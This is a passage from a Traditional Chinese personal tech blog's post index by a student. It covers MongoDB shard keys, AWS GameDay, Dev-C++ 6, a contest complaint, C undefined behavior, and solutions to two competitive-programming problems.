因此前面冗長先備知識完後，就來正式介紹 refineCollectionShardKey。\n其實就是針對每個 Chunk 再做更細的區分資料。\n假設今天的 Shard Key 選擇「整數 ID」，如果集中寫入 $30 \\sim 50$ 之間， 至少可以從中間切開 $40$，讓 Chunk 變成 $30 \\sim 40$ 跟 $41 \\sim 50$。\n可是如果今天大量資料的「整數 ID」集中在 $42$ 呢？如果達到 Chunk 容量上限，也不能做分割，就形成 Jumbo Chunk，不可讀也不可寫。\n因此就會使用 refineCollectionShardKey 給下一個 Shard Key 參考去做切割，迴避掉 Jumbo Chunk 問題。\n照著官網說明完成命令，也不會馬上變化太大，但資料會隨著未來改變，加了這步驟就是給系統一個參考的讀寫策略。\n後記 # 最近剛結束實習，是時候來講講系上的實習心得了，可以說是還蠻好玩的。\n發現很多中文資料都找不到有關 refineCollectionShardKey 用途，就自己來寫一篇了。 如果我有任何錯誤想修正，歡迎底下留言，謝謝大家觀看。\n","date":"2021/05/31","externalUrl":null,"permalink":"/posts/mongodb-refinecollectionshardkey/","section":"Posts","summary":"最近著手研究 MongoDB 4.4 的一些相關 function 尤其是 refineCollectionShardKey 的解釋讓我很…… 一方面我才剛研究 MongoDB，可能也對此設計也不太理解，所以想做一下紀錄\n","title":"關於 refineCollectionShardKey 的更多解釋","type":"posts"},{"content":"又一年飛逝了，不知道 2020 的大家過得好不好？\n但總覺得 2020 的我比起往年，似乎沒有好到哪裡去\n一月 Jan # 比較有印象的話，那時的我準備要做專題，那時課業也不太重。 組員雖然找好了，但誰知我組員一位陸生回家一趟後就回不了台灣了。\n原本要參加交大的程式解題集訓，但前兩天直接宣佈取消 ヽ(#`Д´)ﾉ 可以說是疫情打亂一切啊！\n二月 Feb ~ 六月 Jun # 又是 26 學分的人生，系上 16 學分 + 師培 10 學分，也不知道我怎麼混過去了，雖然只是感覺好像又過了忙碌的學期。\n專題目前那時算是一顆未爆彈，進度到後面有時候會有點跟不太上，跟組員或教授交談有時候會有種溝通障礙，會有點突然就聽不懂想法，但又不知道從何問起。\n七月 Jul ~ 八月 Aug # 暑假嘛！除了專題以外就是史懷哲營隊了吧！ 史懷哲營隊對我來說是大學生涯中認識最多朋友的一次吧！ 有點意外的是，修課還跟所有同學不熟（交集基本為 0） 但暑期集訓中旬以後就變得超熟。 每次在路上看到夥伴們都還會停下來寒暄幾句（我對系上的同學都不一定會這樣）\n喔對 BTW，還有那逢甲大學辦超爛的 NCPU 2020~~（直接被我歸類為糞校）~~，明年 NCPU 聽 MZ 說要自己拿回來舉辦了，據說今年被罵超慘ㄏㄏ。 雖然不是說 MZ 辦的多好，但至少沒有出事的比賽就是一場不錯的比賽，至少不會到現場才跟你改比賽環境 @@ 至於 NCPU 2020 當天出了什麼事，我已經詳細寫在{% post_link ncpu-2020-negative 這篇文章 %}裡面了。\n九月 Sep ~ 十月 Oct # 明明只有 9 學分，卻忙碌的跟 26 學分一樣 @@\n十月比較好笑就是，我忙到只有繳交比賽費，忘記填寫表單 直到某一天就在 Discord 加入的社群被廣播\u0026hellip;\u0026hellip; 十一月 Nov ~ 十二月中旬 Dec. Mid # 很驚喜的就是，我在 ICPC 2020 Taipei Regional 拿到了銅牌獎。\n大學生涯最後一場 ICPC，不曉得明年還能不能參加就是了，但是專題也陷入了趕進度的困境，後期也過得超黑暗。\n不過所幸專題還是過了，也拿了很意外的名次，專題競賽第一名。\n2021 一月 2021 Jun # 大學第一科被送下去的科目也出來了（對，我努力撐很久才出現第一科被當掉），主要真的是因為專題忙不過來，反正就給她當掉吧。\n參與了 AWS Gameday 2021，詳細內容也寫在{% post_link aws-gameday-2021-fcu 這篇文章 %}裡面了。\n總結 # 「每一次，每一年，我們都會說新年要有新希望， 要有新的改變，可是經過了 2020 這樣子的一年之後， 突然發現，突然發現，沒有改變， 好像就是最幸福的一件事了。」 —— 五月天 2020.12.31\n我用這句話來總結 2020，一定要好好珍惜現在所在的人事物。\n","date":"2021/02/11","externalUrl":null,"permalink":"/posts/2020-final/","section":"Posts","summary":"又一年飛逝了，不知道 2020 的大家過得好不好？\n但總覺得 2020 的我比起往年，似乎沒有好到哪裡去\n","title":"回顧 2020 總結 ＆ 2021 開局","type":"posts"},{"content":"","date":"2021/01/31","externalUrl":null,"permalink":"/tags/aws/","section":"Tags","summary":"","title":"Aws","type":"tags"},{"content":"其實會進去打比賽其實是誤打誤撞，我以為是可以聽工作坊的，但當我前幾天看到「參賽須知」的信，才知道我又不小心進去打比賽了。\n（Hmmm\u0026hellip;\u0026hellip;我怎麼說「又」了呢？）\n本篇文章為 AWS GameDay 的賽後心得，外加 AWS GameDay 的廬山真面目，畢竟我在網路上搜到的資料真的很少。\n文章最後會微爆雷解法，還沒體驗的就最好就看到後記那裡就好。\n比賽結果 # Rank：13 / 30 Score：-3,513（對，分數是負數，你沒看錯。）\nTeam 1：RX-0 報喪女妖 取名的具體原因我也忘了，似乎是跟獨角獸有關係的鋼彈（？） 但組員是主辦方幫我分配進去，因為，我沒朋友陪我參加。\n畢竟那時間點大家都在準備研究所，但研究所真的這麼重要嗎？ 這也是我心中抱持著一種疑問吧！之後再寫一篇文章關於我對研究所的看法好了。\n賽制 # 其實我是到比賽中間才搞懂賽制是怎麼運作的，但有些人點進來應該是蠻好奇 AWS GameDay 在做什麼（畢竟我在網路上搜尋的相關資料也不多），我就打在文章前半段。\n這場比賽是「獨角獸租借系統」（如果依照他給的需求來看） 你要服務很多隻獨角獸，可能會有很多租借需求同時進來，利用 AWS 的服務去消化這些租借需求吧！\n訂單成功就會加 10 ~ 13 分（依據你的服務回應速度），反之失敗則扣 1 分（只要拿到非 HTTP 200 的回應則視為訂單失敗），另外，每分鐘會依據你的伺服器成本扣除掉部分分數。\n一開始機器會幫你先開好一台，那台環境架設也架設完成，服務程式也都寫好了，剩下就交給參賽選手了。\n比賽現場紀錄 # 我其實是徹頭徹尾的划水隊員，競賽開始也不知道是什麼時候的事（似乎是講解完比賽背景、規則就開始了），但基本上就是完全還沒進入狀況就是了。w。\n一方面我自己也沒有用過 AWS 服務，很怕服務開下去就忘記關掉，下個月就被收破千帳單。\n上午比賽的中間還會提示説等等會有大量租借需求進來 但下午呢？講都不講直接把你的網站打下去（Ｘ）\n中間過程其實也可以直接諮詢 AWS 的工作人員。 如果是要「尋求解答」，將會扣除 1,000 ~ 3,000 分的分數（具體分數有點忘記了）。 但後來想想其實「尋求解答」比較值得，與其空想再到最後獲得解答，基本上分數就被扣光了。 不會的話就直接「尋求解答」吧！這東西也要操作過才會知道怎麼做。\n下午場做到一半，比賽人員還會跟你說需要換 Server 程式，上午場如果有架設完，理解原來題目給的 Bash Script，到這裡應該就比較簡單了。\n但是最後還有一波訂單大量增加，但是機器一直開不起來，結果好不容易要回到正的分數，馬上跌回負分。\n心得 # 接下來 2 月就要去公司實習了，職位是「SRE 實習生」，對我來說，這是我目前想熟悉的領域。 這場 AWS GameDay 也讓我體驗到一些 SRE 的部分工作，希望去實習以後不要被電太慘。 對我來說這是一場難得寶貴的經驗，明年可以希望再參加，或是再學習 AWS 的相關知識。\n後記 # 這個參賽是免費的，要說付費的話就是車資吧！這次車資真的花費我不少錢啊 QQ\n很期待 AWS 有朝一日可以來花蓮拓點\nBTW，他們的衣服真的蠻好看的。\n做法 # 這裡開始會寫上我這組探索出的解法囉！如果還沒參與過 AWS GameDay 就不要看到這裡了，會被暴雷！ 這裡開始會寫上我這組探索出的解法囉！如果還沒參與過 AWS GameDay 就不要看到這裡了，會被暴雷！ 這裡開始會寫上我這組探索出的解法囉！如果還沒參與過 AWS GameDay 就不要看到這裡了，會被暴雷！\n這裡的解法都需要 Auto Scaling Group \u0026amp; Load Balancer，但我這裡沒有很詳盡的實作解法，只能給予一些概念。\n每一台 Instanse 就像是一個服務櫃檯，一開始會給予 Instanse IP，可是一旦大量需求進來，櫃檯人員就會忙不過來，最慘就是服務當機。\nLoad Balancer 是負載平衡器，角色扮演是幫忙分流服務給其他的 Instanse 機器。\nAuto Scaling Group 是拿來做彈性化，像是 Instanse 機器的 Manager，如果遇到機器的負載逐漸上升，就會加開 Instanse 來去消化這些服務。\n除了這些以外，還需要檢查網路的 IP 問題，因為最後開機器的時候就遇到 IP 不夠用的問題（應該是我們這組沒有設定好），然後機器就一直開啟不成功。\n","date":"2021/01/31","externalUrl":null,"permalink":"/posts/aws-gameday-2021-fcu/","section":"Posts","summary":"其實會進去打比賽其實是誤打誤撞，我以為是可以聽工作坊的，但當我前幾天看到「參賽須知」的信，才知道我又不小心進去打比賽了。\n","title":"AWS GameDay 2021 逢甲大學","type":"posts"},{"content":"","date":"2021/01/31","externalUrl":null,"permalink":"/tags/cloud/","section":"Tags","summary":"","title":"Cloud","type":"tags"},{"content":"","date":"2021/01/31","externalUrl":null,"permalink":"/tags/competition/","section":"Tags","summary":"","title":"Competition","type":"tags"},{"content":"","date":"2020/11/25","externalUrl":null,"permalink":"/tags/dev-cpp/","section":"Tags","summary":"","title":"Dev Cpp","type":"tags"},{"content":"寫這篇文章的意義是幫忙把新版的 Dev-C++ 推出去，給更多人知道。\n這一篇，獻給愛用 Dev-C++ 的你。\n前言 # 依如往常的滑著電腦 Facebook，社團依舊充斥著廢文（不開玩笑，平常就是 IDE / Compiler 都搞不清楚地在亂吵）\n唯有少數幾篇文，可以吸引到我的目光，講到 C 語言總會講到 Dev-C++。 滑了一下留言 給我等一下，Dev-C++ 2020？我怎麼不知道！ 如果你直接去 Google Dev-C++ 2020 估計是找不到你要的結果。 後來去維基百科才知道 Dev-C++ 最新版本的 Source Code 位置。\n新版 Dev-C++ 介紹 # 維護公司：Embarcadero GitHub 連結: https://github.com/Embarcadero/Dev-Cpp GitHub Release: https://github.com/Embarcadero/Dev-Cpp/releases\n其實他也不叫做 Dev-C++ 2020，負責這項專案的公司也直接命名為 Embarcadero Dev-C++\n這維護公司來頭也不小啊，有公司接手維護這個專案真的是一個奇葩之事吧！\n編譯器 Compiler # 目前選用 TDM-GCC 9.2.0，直接從 4.9.2 跳上去\n選項也支援新版標準 C++ 20，之前手動更新編譯器都需要手動輸入參數才能換成新版標準。\n外觀介面 Appearance # 經典介面從 4.9.9.2 到 5.11 版本基本上都長這樣，能去改變外觀的選項比較少\n最新版本他可以直接讓你更改樣式了\n選取環境選項（Environment Options）$\\rightarrow$ 外觀（Appearance） 就可以改成你想看到的主題（Theme）了。\n等等，你真的是 Dev-C++ 嗎？\n終端機 Command / PowerShell # 都已經 2020 年了，把 IDE 跟 Terminal 放在一起已經算是標準配備了吧！ 現在也終於可以囉！\n最底下的選項也多了一個 Console 選項 點下後，下面視窗也有兩個按鈕分別為 CMD 跟 PS\nCMD 指的是 Windows 傳統的 Command Line PS 指的是 Windows 最新的 PowerShell\n只要點一下，就可以打開你想要的 Console 囉！ 不要的 Console 也可以直接右鍵關閉就好\n隱藏問題 Issue # 安裝完成後，先不要選擇「繁體中文」，都先選擇「英文」 目前我在 Windows 10 的新版 Dev-C++ v6.2 跑繁體中文，會出現亂碼 這個問題暫時還沒修復，如果是新手，請暫時先忍一忍吧\n總結 # 我想，這也是目前開源專案裡面最成功的例子了吧 三個大版本更新，全都是不同人開發、維護 希望這個開源精神，也有人能繼續傳下去\n對著三個版本 Dev-C++ 的開發者們致上最高的 Respect！\n目前我們就繼續期待著 Embarcadero Dev-C++ 會帶給我們什麼樣驚喜吧！\n廢文附帶廢圖（？） # 從今天起，Embarcadero 就是我大哥，誰說 Embarcadero 不好，對不起，我們不認識（Ｘ）\n","date":"2020/11/25","externalUrl":null,"permalink":"/posts/devcpp-6/","section":"Posts","summary":"寫這篇文章的意義是幫忙把新版的 Dev-C++ 推出去，給更多人知道。\n這一篇，獻給愛用 Dev-C++ 的你。\n","title":"Dev-C++ 不就是個很古老的 IDE？蛤？它又更新了？","type":"posts"},{"content":"","date":"2020/11/25","externalUrl":null,"permalink":"/tags/ide/","section":"Tags","summary":"","title":"Ide","type":"tags"},{"content":"","date":"2020/11/25","externalUrl":null,"permalink":"/tags/tooling/","section":"Tags","summary":"","title":"Tooling","type":"tags"},{"content":"","date":"2020/07/16","externalUrl":null,"permalink":"/tags/competitive-programming/","section":"Tags","summary":"","title":"Competitive Programming","type":"tags"},{"content":"","date":"2020/07/16","externalUrl":null,"permalink":"/tags/icpc/","section":"Tags","summary":"","title":"Icpc","type":"tags"},{"content":"","date":"2020/07/16","externalUrl":null,"permalink":"/tags/ncpu/","section":"Tags","summary":"","title":"Ncpu","type":"tags"},{"content":"有點想說這次競賽的不合理之處\n本次競賽 Rank 10 / 50\n名次也在 20 %，但整場只覺得他們到底到幹嘛？\n1. 更換比賽環境 # 比賽前一天我還在確認比賽環境 下圖是比賽後一天才看到被改的 改用瘋狂程設？也就是說環境改成 Windows？ 為什麼這種重大改變事項沒有發給全部的參賽者？\n反正那些 IDE 也都給假的，用過「瘋狂程設」都知道那是佔滿全部螢幕\n比賽前 20 分鐘裁判才來教室講解說 「我們本來就打算採用『瘋狂程設』」\n比賽當天上午兩點（對，AM 2:00）也才收到\n各位參賽的師長與同學大家好: 根據疾病管制署社交距離注意事項，建議人與人之間，在室內應保持1.5公尺、室外保持1公尺之距離，若雙方正確佩戴口罩，則可豁免社交距離，但處於擁擠、密閉之場所仍應佩戴口罩。\n請各位參賽的師長與同學進入競賽場地，請盡量佩戴口罩。如果有發燒情況，請勿參賽，其餘成員仍可出賽。 感謝大家的參與及配合。\n只有通知這件事？在 AM 2:00？通知給誰？\n2. Judge 環境的配置，裁判不見人影 # 我在檢測環境時間，也要確保我設定參數跟 Judge 環境參數一樣 （就是語言標準、優化參數那類的） 那邊工作人員感覺也是一臉滿頭問號 還在回答我説：「用 Java 就要用 Java 程式編譯」 不然我會拿 Python 拿去給 C++ 編譯嗎？= =\n某點來說，我不會怪工作人員懂不懂 我想講的是裁判問題 工作人員最後只好回應我：「裁判等等會過來講解比賽環境」\n但以備萬一，只好拿手機找 Code 慢慢測試環境\n不過到最後，等到 11 點，檢測環境結束，我還是看不到裁判人影。\n（也聽說也只有在幾間比賽教室講解）\n欸不是，裁判在幹嘛？\n3. 其餘瑣碎事 # 個人覺得不太大的問題，只是就觀感問題\n自己拿舉手拿氣球（我真的第一次遇到） 位置安排不太良好，五個一排，這樣空間很多都浪費 宣傳比賽？我自己搜尋我才知道要辦比賽 得獎只有前三名拍照？ 有些人好像有提到比賽場外問題，不過因為我沒有去外面吃點心，所以不知道什麼情況\n4. 瘋狂程設問題 # 賽中有程式寫爛了，我也不熟悉「瘋狂程設」 那時候也不知道我寫到 Runtime Error\nDebug 輸出半天才知道 Runtime Error 不會輸出 = = 就是為了這點折騰很久\u0026hellip;\u0026hellip;\n總結 # 這次參賽體驗實在是差到不行 第 10 屆比賽，ㄏ，我只差點還沒把未消化的食物吐出來\n有多少學生為了好好比賽拼命練習\u0026hellip; 然而主辦方只想草草了事\u0026hellip;\n連比賽都辦不好還想競爭啊！洗洗睡吧！ 私立大學辦比賽辦成這樣，只不過是一堆笑話罷了。\n","date":"2020/07/16","externalUrl":null,"permalink":"/posts/ncpu-2020-negative/","section":"Posts","summary":"有點想說這次競賽的不合理之處\n","title":"關於 NCPU 2020 我想說的是......","type":"posts"},{"content":"","date":"2020/06/02","externalUrl":null,"permalink":"/tags/operators/","section":"Tags","summary":"","title":"Operators","type":"tags"},{"content":"","date":"2020/06/02","externalUrl":null,"permalink":"/tags/undefined-behavior/","section":"Tags","summary":"","title":"Undefined Behavior","type":"tags"},{"content":"本篇文章我在以前的 Blogspot 有寫過，不過沒什麼點閱率 QAQ\n現在好不容易這裡有一些觀看\n再加上前陣子也有看到 Undefined Behavior 寫法被討論\n我就把舊文章移植過來，順便把語病、說法做個修正\n前幾天在看FB的文章時，看到了一篇貼文\n第八題不會有太大的問題 6*6*6=216 第九題，答案是多少？\n那篇貼文討論蠻熱烈的～（可是這讓我有點擔心\u0026hellip;\u0026hellip;） 一般人第一個直覺是把++n算完後代入x，就會變成6*6*6=216，可是沒有在選項內\u0026hellip;\u0026hellip;？ 那就來執行一次看看吧\n統一以這份 Code 執行\n#include\u0026lt;cstdio\u0026gt; using namespace std; #define CUBE(x) x*x*x int main() { int n = 5; printf(\u0026#34;%d\\n\u0026#34;, CUBE(++n)); return 0; } 用兩個較主流的編譯器，GNU G++ 跟 Clang（MSVC++ 表示：\u0026hellip;）\nGNU G++ # 編譯參數：g++ -Wall -O2 -std=c++14 a.cpp\n輸出結果 392\n那第九題答案就是 (D)，真相大白 . . . . . . 答案真的那麼簡單？來看看 Clang 結果吧！\nClang # 編譯參數：clang -Wall -O2 -std=c++14 a.cpp\n等一下！竟然是 336？\n這個就是所謂的 UB（Undefined Behavior）未定義行為 照理說，同個語言，不同編譯器，執行結果一定要一樣\n這個跟運算的優先順序有點關係，每個運算子在 C/C++ 的優先順序 這有點像是遊戲規則，大規則方向有訂好\n但是有些規則並沒有規定誰先誰後 自己編譯器就自己規定，反正只要照著大方向就好\n像是 GNU G++ 的結果：\n第一個數字 ++N 確實變成 $6$ 乘法優先運算子低 把 $N$ 排入等待運算 第二個數字又把 $N$ 加上 $1$ 第一個數字被連帶影響 第一個跟第二個數字相乘就變成 $7 \\times 7 = 49$ 把 $49$ 排入等待運算 第三個數字又把 $N$ 加上 $1$ $N$ 變成 $8$ $49 \\times 8 = 392$\n以上為對 GNU G++ 的個人見解\nClang 結果：\n第一個數字 ++N 確實變成 $6$ 乘法優先運算子低 把 $6$ 排入等待運算 第二個數字又把 $N$ 加上 $1$ 第一個跟第二個數字相乘就變成 $6 \\times 7 = 42$ 把 $42$ 排入等待運算 第三個數字又把 $N$ 加上 $1$ $N$ 變成 $8$ $42 \\times 8 = 336$\n以上為對 Clang 的個人見解\n以上結果其實沒有違反「運算子的優先順序」 但！這是未定義行為，真的不需要對他細節作法作討論 程式編譯經過優化後，也有可能自動幫你修改過程 未定義行為結果就可能會因此不同\n結論 # 聽網路上說，大學教授其實出蠻多這種題目的（還好我的科系沒有考這種東西），討論這種題目基本上沒有什麼意義，錯誤的定義上討論出的結果，也只會是錯誤的。\n不過我也有去找教授討論過，他上課也說過，同一個運算式，不要使用「遞增遞減運算子（Ex.i++、++i、i\u0026ndash;、\u0026ndash;i）」超過兩個以上，不然會發生一些不可預期的錯誤。\nUB（Undefined Behavior）的例子還有很多，發生的情況不一定是執行結果不一樣\n希望不要再出這種 Code 殘害學生，也不需要去討論這種東西 只要告訴他：「這是 UB（Undefined Behavior）未定義行為，不需要去多做任何討論。」\n","date":"2020/06/02","externalUrl":null,"permalink":"/posts/undefined-behavior-in-c/","section":"Posts","summary":"本篇文章我在以前的 Blogspot 有寫過，不過沒什麼點閱率 QAQ\n現在好不容易這裡有一些觀看\n再加上前陣子也有看到 Undefined Behavior 寫法被討論\n我就把舊文章移植過來，順便把語病、說法做個修正\n前幾天在看FB的文章時，看到了一篇貼文\n","title":"關於 Undefined Behavior 這件事...","type":"posts"},{"content":"題目 Problem # 題目連結：https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/view.php?a=15924\n敘述 Description # 斷詞在自然語言的研究上是個很重要的步驟，主要就是將關鍵字從句子中斷出，英文的斷詞較為簡單，就根據句子中的空格將英文字隔開。\n輸入 Input # 輸入一句英文敘述句。 字元數 $\\leq 1000$。\n輸出 Output # 將輸入的句子進行斷詞，將斷出的關鍵字依照句子中的出現排序列印出。全部轉成小寫，列印出的關鍵字不得重複，關鍵字間以一個空格隔開，最後一個關鍵字後面進行換行。例如輸入 How do you do ，則輸出 how do you 。\n範例輸入 Sample Input # How do you do 範例輸出 Sample Output # how do you 提示 Hint # 題解 Solution # C++ 題解程式還蠻多的，我來寫個 C 語言能解開的版本\nC 語言可以使用 string.h String Token (strtok) 去解決 我們來看 strtok 函式原型\nchar* strtok( char* str, const char* delim ); 引數傳要切割的字串 str、切割的關鍵字元 delim\n回傳的是字元指標，就是位於切割字元之間的字串 如果拿到 NULL 就代表已經沒了\n但是，如果想再搜尋同一句話的下一個切割字元之間字串，str 就傳 NULL 即可\n通常我會搭配 while 迴圈去完成\n這題要先把所有字串轉為小寫 第一次做 strtok 的時候要 str 引數傳需要被切割的字串 第二次以後 str 引數直接傳 NULL 直到回傳值為 NULL 跳出迴圈\nwhile 迴圈裡，需要搜尋這個字串是否存在\n搭配 strcmp 去完成\n不存在則於迴圈的最後 strcpy 進去\n最後再列出所有字串\n程式碼 Accepted Code # #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;string.h\u0026gt; #include\u0026lt;ctype.h\u0026gt; int main() { char enter[10000]; fgets(enter, 9999, stdin); int len = strlen(enter); for (int i = 0 ; i \u0026lt; len; i++) { enter[i] = tolower(enter[i]); } char ans[1000][1000]; int nowAns = 0; char *pch = strtok(enter, \u0026#34; \\r\\n\u0026#34;); // 爛坑！！！ while(pch != NULL) { int judge = 1; for (int i = 0; i \u0026lt; nowAns; i++) { if (strcmp(ans[i], pch) == 0) { judge = 0; break; } } if (judge) { strcpy(ans[nowAns], pch); nowAns++; } pch = strtok(NULL, \u0026#34; \\r\\n\u0026#34;); // 爛坑！！！ } for (int i = 0; i \u0026lt; nowAns; i++) { if(i) printf(\u0026#34; \u0026#34;); printf(\u0026#34;%s\u0026#34;, ans[i]); } printf(\u0026#34;\\n\u0026#34;); return 0; } 後記 Afterword # Line 13 / 26 我寫了一個註解叫做爛坑！！\n一開始寫了的 Token 如果只有空格跟換行（沒有 \\r） 會直接吃兩個 AC、兩個 WA，根本不知道問題在哪 \\r 我就直接順手加進去，就 AC 了\n理當來說換行為 \\n 但 Windows 換行為 \\r\\n 我覺得測試資料可能有些是 Windows 手動產生\n之前有個月賽題目賽後的測資有錯 歷史紀錄沒有人 AC 那題（放題目的人不會覺得詭異嗎？） E-mail 反應後也是音訊全無\nFB 社團裡的人也說這個平台實在是不敢領教 這篇特別紀錄一下很坑的通靈之路\n","date":"2020/06/01","externalUrl":null,"permalink":"/posts/itsa-basic-17/","section":"Posts","summary":"題目 Problem # 題目連結：https://e-tutor.itsa.org.tw/e-Tutor/mod/programming/view.php?a=15924\n","title":"ITSA 基礎題庫 —— 題目17. 英文斷詞","type":"posts"},{"content":"","date":"2020/06/01","externalUrl":null,"permalink":"/tags/string/","section":"Tags","summary":"","title":"String","type":"tags"},{"content":"","date":"2020/06/01","externalUrl":null,"permalink":"/tags/strtok/","section":"Tags","summary":"","title":"Strtok","type":"tags"},{"content":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c779\n敘述 Description # 盆栽協會為了推廣盆栽藝術將舉辦盆栽比賽與展覽。在展覽時，將依照比賽編號來依序擺放盆栽，但由於參賽盆栽的高度不一，為了方便評審評分與來賓觀賞，盆栽協會將訂做展示架來擺放盆栽，以便讓相鄰盆栽的高度差異不超過最大高度差。為了節省訂做成本，盆栽協會希望訂做的展示架高度越低越好。請你寫一個程式，根據相鄰最大高度差與每個盆栽的高度，計算擺放這排盆栽所需的最低展示架總高度。\n舉例說明，以下例子中，第一列共有五個盆栽的高度。若相鄰最大高度差為 $5$，則第二列為每個盆栽的最低展示架高度,所以總高度為$0+118+153+0+282=553$。若相鄰最大高度差為 $50$，則第三列為每個盆栽的最低展示架高度，所以總高度為 $0+67+108+0+237=412$。\n盆栽高度 401 284 254 412 125 相鄰最大高度差為 5 0 118 153 0 282 相鄰最大高度差為 50 0 67 108 0 237 輸入 Input # 測試資料有兩行。 第一行有 $A (1 \\leq A \\leq 30)$ 個以一個空格(white space)隔開的整數 $B (1 \\leq B \\leq 2000)$ 代表盆栽高度。 第二行有一個整數 $C (1 \\leq C \\leq 2000)$，代表相鄰最大高度差。\n輸出 Output # 請輸出 1 個整數，代表擺放這排盆栽所需的最低展示架總高度。\n範例輸入 Sample Input # 範例輸入一： 401 284 254 412 125 50 範例輸入二： 1010 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 1000 5 範例輸出 Sample Output # 範例輸出一： 412 範例輸出二： 5 提示 Hint # 題解 Solution # 每個數字兩個之間有沒有差距超過相鄰最大高度差\n我過程至少 $A$ 次，第一次可能還沒有跟上最高高度\n程式碼 Accepted Code # /* Author: Jerry Yang C.H. (tico88612) Date: 2020/4/9 */ #include \u0026lt;bits/stdc++.h\u0026gt; using namespace std; typedef long long ll; typedef pair\u0026lt;ll, ll\u0026gt; pii; typedef pair\u0026lt;double,double\u0026gt; pdd; #define SQ(i) ((i)*(i)) #define MEM(a, b) memset(a, (b), sizeof(a)) #define SZ(i) int(i.size()) #define FOR(i, j, k, in) for (int i=j ; i\u0026lt;k ; i+=in) #define RFOR(i, j, k, in) for (int i=j ; i\u0026gt;=k ; i-=in) #define REP(i, j) FOR(i, 0, j, 1) #define REP1(i,j) FOR(i, 1, j+1, 1) #define RREP(i, j) RFOR(i, j, 0, 1) #define ALL(_a) _a.begin(),_a.end() #define MP make_pair #define PB push_back #define EB emplace_back #define X first #define Y second #ifdef tmd #define debug(...) do{\\ fprintf(stderr,\u0026#34;%s - %d (%s) = \u0026#34;,__PRETTY_FUNCTION__,__LINE__,#__VA_ARGS__);\\ _do(__VA_ARGS__);\\ }while(0) template\u0026lt;typename T\u0026gt;void _do(T \u0026amp;\u0026amp;_x){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;endl;} template\u0026lt;typename T,typename ...S\u0026gt; void _do(T \u0026amp;\u0026amp;_x,S \u0026amp;\u0026amp;..._t){cerr\u0026lt;\u0026lt;_x\u0026lt;\u0026lt;\u0026#34; ,\u0026#34;;_do(_t...);} template\u0026lt;typename _a,typename _b\u0026gt; ostream\u0026amp; operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,const pair\u0026lt;_a,_b\u0026gt; \u0026amp;_p){return _s\u0026lt;\u0026lt;\u0026#34;(\u0026#34;\u0026lt;\u0026lt;_p.X\u0026lt;\u0026lt;\u0026#34;,\u0026#34;\u0026lt;\u0026lt;_p.Y\u0026lt;\u0026lt;\u0026#34;)\u0026#34;;} template\u0026lt;typename It\u0026gt; ostream\u0026amp; _OUTC(ostream \u0026amp;_s,It _ita,It _itb) { _s\u0026lt;\u0026lt;\u0026#34;{\u0026#34;; for(It _it=_ita;_it!=_itb;_it++) { _s\u0026lt;\u0026lt;(_it==_ita?\u0026#34;\u0026#34;:\u0026#34;,\u0026#34;)\u0026lt;\u0026lt;*_it; } _s\u0026lt;\u0026lt;\u0026#34;}\u0026#34;; return _s; } template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,vector\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,set\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,deque\u0026lt;_a\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _a,typename _b\u0026gt; ostream \u0026amp;operator \u0026lt;\u0026lt; (ostream \u0026amp;_s,map\u0026lt;_a,_b\u0026gt; \u0026amp;_c){return _OUTC(_s,ALL(_c));} template\u0026lt;typename _t\u0026gt; void pary(_t _a,_t _b){_OUTC(cerr,_a,_b);cerr\u0026lt;\u0026lt;endl;} #define IOS() #else #define debug(...) #define pary(...) #define endl \u0026#39;\\n\u0026#39; #define IOS() ios_base::sync_with_stdio(0);cin.tie(0) #endif const ll MOD = 1000000007LL; const ll INF = 0x3f3f3f3f3f3f3f3fLL; const int iNF = 0x3f3f3f3f; // const ll MAXN = /********** Good Luck :) **********/ int main() { IOS(); ll enter[35] = {0}, t = 0; while(cin \u0026gt;\u0026gt; enter[t++]); t--; ll c = enter[--t]; ll ans = 0; REP(i, t){ REP(j, t){ if (j == 0 \u0026amp;\u0026amp; j != t - 1) { if (j + 1 \u0026lt; t \u0026amp;\u0026amp; enter[j] \u0026lt; enter[j + 1] - c){ ans += enter[j + 1] - c - enter[j]; enter[j] = enter[j + 1] - c; } } else if (j == t - 1) { if (enter[j] \u0026lt; enter[j - 1] - c) { ans += enter[j - 1] - c - enter[j]; enter[j] = enter[j - 1] - c; } } else { int tt = max(enter[j - 1], enter[j + 1]); if(tt - c \u0026gt; enter[j]){ ans += tt - c - enter[j]; enter[j] = tt - c; } } } } cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; return 0; } 後記 Afterword # 我發現外層迴圈設定 $2$ 次，還是可以 AC\n根本證明這測資根本太水了\n輸入\n10 10 10 10 10 10 10 10 100 100 10 輸出\n設定兩次：150 正確：360","date":"2020/04/17","externalUrl":null,"permalink":"/posts/zj-c779/","section":"Posts","summary":"題目 Problem # 題目連結：https://zerojudge.tw/ShowProblem?problemid=c779\n","title":"c779. 106北二4.盆栽展覽","type":"posts"},{"content":"","date":"2020/04/17","externalUrl":null,"permalink":"/tags/zerojudge/","section":"Tags","summary":"","title":"Zerojudge","type":"tags"},{"content":"","date":"2020/04/03","externalUrl":null,"permalink":"/tags/april-fools/","section":"Tags","summary":"","title":"April Fools","type":"tags"},{"content":"","date":"2020/04/03","externalUrl":null,"permalink":"/tags/exponentiation/","section":"Tags","summary":"","title":"Exponentiation","type":"tags"},{"content":"","date":"2020/04/03","externalUrl":null,"permalink":"/tags/math/","section":"Tags","summary":"","title":"Math","type":"tags"},{"content":"這次比賽真的蠻有 April Fools 的味道\n不過在 ZeroJudge 平台應該是新手居多，可能會有點適應不良，或者不知從何下手\n有些題目也要一些 CTF 